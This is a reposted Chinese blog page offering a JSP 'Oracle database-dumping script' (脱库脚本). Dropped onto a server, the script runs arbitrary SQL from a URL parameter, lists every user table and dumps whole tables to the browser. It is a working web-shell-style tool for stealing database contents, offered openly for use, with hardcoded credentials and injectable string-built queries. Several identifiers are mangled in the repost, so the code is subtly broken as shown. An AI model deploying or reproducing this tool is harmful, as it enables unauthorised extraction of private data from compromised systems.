微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

Oracle脱库脚本

虽说十分简陋,但是应对一般的查询操作已经足够了。

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<!DOCTYPE html>
<html>
<head>
    <title>Oracle数据库脱库脚本--N3verL4nd</title>
</head>
<body>
<%!
    /** * 获取结果集的 ColumnLabel 对应的 List * @param rs * @return * @throws sqlException */
    @SuppressWarnings("unchecked")
    private List getColumnLabels(ResultSet rs) throws sqlException {
        ResultSetMetaData MetaData;
        List labels = new ArrayList();
        MetaData = rs.getMetaData();
        for (int i = 0; i < MetaData.getColumnCount(); i++) {
            labels.add(MetaData.getColumnLabel(i + 1));
        }
        return labels;
    }

    /** * 将 ResultSet 转换为 List 并返回 * @param rs * @return * @throws sqlException */
    @SuppressWarnings("unchecked")
    private List resolveResultSet(ResultSet rs) throws sqlException {
        List list = new ArrayList();
        Map map = null;
        List<String> labels = getColumnLabels(rs);
        while (rs.next()) {
            map = new HashMap();
            for (int i = 0; i < labels.size(); i++) {
                String label = labels.get(i);
                map.put(label,rs.getobject(label));
            }
            list.add(map);
        }
        return list;
    }
%>

<%
    try {
        Class.forName("oracle.jdbc.driver.OracleDriver");
    } catch (ClassNotFoundException e) {
        e.printstacktrace();
    }

    // 需要配置的地方
    //-----------------------------
    String url = "jdbc:oracle:thin:@127.0.0.1:1521:drcom";
    String username = "drcom";
    String password = "drcom";
    //-----------------------------

    Connection conn = null;
    Statement stmt = null;
    ResultSet rs = null;

    String path = request.getScheme() + "://" +
            request.getServerName() + ":" +
            request.getServerPort() +
            request.getcontextpath() +
            request.getServletPath();

    try {
        conn = DriverManager.getConnection(url,username,password);
        if (request.getParameter("sql") != null && !request.getParameter("sql").equals("")) {
            String sql = request.getParameter("sql");
            stmt = conn.createStatement();
            rs = stmt.executeQuery(sql);

            List list = resolveResultSet(rs);
            for (int i = 0; i < list.size(); i++) {
                Map map = (Map) list.get(i);
                Iterator it = map.entrySet().iterator();
                while (it.hasNext()) {
                    Map.Entry entry = (Map.Entry) it.next();
                    Object key = entry.getKey();
                    Object value = entry.getValue();
                    out.println(key.toString().toLowerCase() + ":" + value);
                    out.println("&nbsp;&nbsp;");
                }
                out.println("<br />");
            }

        } else if (request.getParameter("table") == null || request.getParameter("table").equals("")) {
            // 输出所有用户表
            stmt = conn.createStatement();
            rs = stmt.executeQuery("select table_name from user_tables");
            out.println("<p>当前 Oracle 数据库中所有用户表:</p>");
            while (rs.next()) {
                out.print("<a href=");
                out.print(path);
                out.print("?table=");
                out.print(rs.getString(1));
                out.print(" target=_blank>");
                out.print(rs.getString(1));
                out.print("</a><br />");
            }
        } else {
            String table = request.getParameter("table");
            stmt = conn.createStatement();
            rs = stmt.executeQuery("select * from " + table);

            List list = resolveResultSet(rs);

            out.println("当前数据库 " + table + " 共有 " + list.size() + " 条记录!<br />");

            out.println("<table border=\"1\">");

            if (list.size() != 0) {
                Map map = (Map) list.get(0);
                out.println("<tr>");
                Iterator it = map.entrySet().iterator();
                while (it.hasNext()) {
                    Map.Entry entry = (Map.Entry) it.next();
                    Object value = entry.getKey();
                    out.println("<th>" + value + "</th>");
                }
                out.println("</tr>");
            }

            for (int i = 0; i < list.size(); i++) {
                out.println("<tr>");
                Map map = (Map) list.get(i);
                Iterator it = map.entrySet().iterator();
                while (it.hasNext()) {
                    Map.Entry entry = (Map.Entry) it.next();
                    Object value = entry.getValue();
                    out.println("<td>" + value + "</td>");
                }
                out.println("</tr>");
            }
            out.println("</table>");
        }

    } catch (sqlException e) {
        e.printstacktrace();
    } finally {
        if (rs != null) {
            try {
                rs.close();
            } catch (sqlException e) {
                e.printstacktrace();
            }
        }
        if (stmt != null) {
            try {
                stmt.close();
            } catch (sqlException e) {
                e.printstacktrace();
            }
        }
        if (conn != null) {
            try {
                conn.close();
            } catch (sqlException e) {
                e.printstacktrace();
            }
        }
    }
%>
</body>
</html>

原文地址:https://www.jb51.cc/oracle/206876.html

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐